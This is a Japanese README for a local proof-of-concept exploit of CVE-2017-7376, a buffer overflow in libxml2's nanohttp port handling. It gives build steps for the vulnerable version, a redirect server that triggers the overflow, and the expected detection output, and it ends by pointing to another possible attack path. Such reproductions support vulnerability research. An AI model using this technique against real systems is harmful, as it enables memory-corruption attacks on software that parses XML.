
CVE-2017-7376 のエクスプロイト例
このリポジトリと、脆弱性のあるバージョンの libxml2(例: v2.7.7)をダウンロードします:
git clone https://github.com/brahmstaedt/libxml2-exploit.git
cd libxml2-exploit
wget https://github.com/GNOME/libxml2/archive/v2.7.7.zip
unzip v2.7.7.zip
mv libxml2-2.7.7/ libxml2
cd libxml2
エクスプロイトの成功をより分かりやすくするために、バッファオーバーフローを検出するコードを libxml2 に追加します。アプリケーションのクラッシュなど、他に可視化する手段がある場合は不要です。
git apply ../nanohttp.patch
./autogen.sh --prefix=$(pwd)/ --without-python
make
make install
次のエラーが発生した場合:
aclocal: warning: autoconf input should be named 'configure.ac', not 'configure.in'
configure.in 内の AM_C_PROTOTYPES を dnl AM_C_PROTOTYPES に置き換えます。例:
sed 's:AM_C_PROTOTYPES:dnl AM_C_PROTOTYPES:' configure.in -i
戻ります
cd ..
このエクスプロイトには、5 桁を超え int32max(2147483648 = 2^32/2)未満のポート番号を持つ新しい URL へのリダイレクトで応答する Web サーバーが必要です。
サーバーを起動します(Node.js が必要で、ポート 127.0.0.1:8080 が未使用である必要があります):
node http.js &
Web サーバーをテストします。無効なポート番号 2147426192 についてのエラーが表示されるはずです:
wget localhost:8080
make
./run.sh
期待される出力:
Buffer overflow is detected
I/O warning : failed to load HTTP resource
buffer_overflow.xml:4: element include: XInclude error : could not load http://localhost:8080/dummy.xml, and no fallback was found
Failed to process include buffer_overflow.xml
このデモエクスプロイトは、メインプログラムが xmlXIncludeProcess() を実行して libxml2 内の
問題のあるコードに到達することを前提としていますが、これは実際の多くの実装では使用されていない可能性があります。
ただし、nanohttp.c のコメントには、外部サブセットを取得するための minimalist HTTP GET implementation と
あり、別の攻撃経路を提供する可能性があります。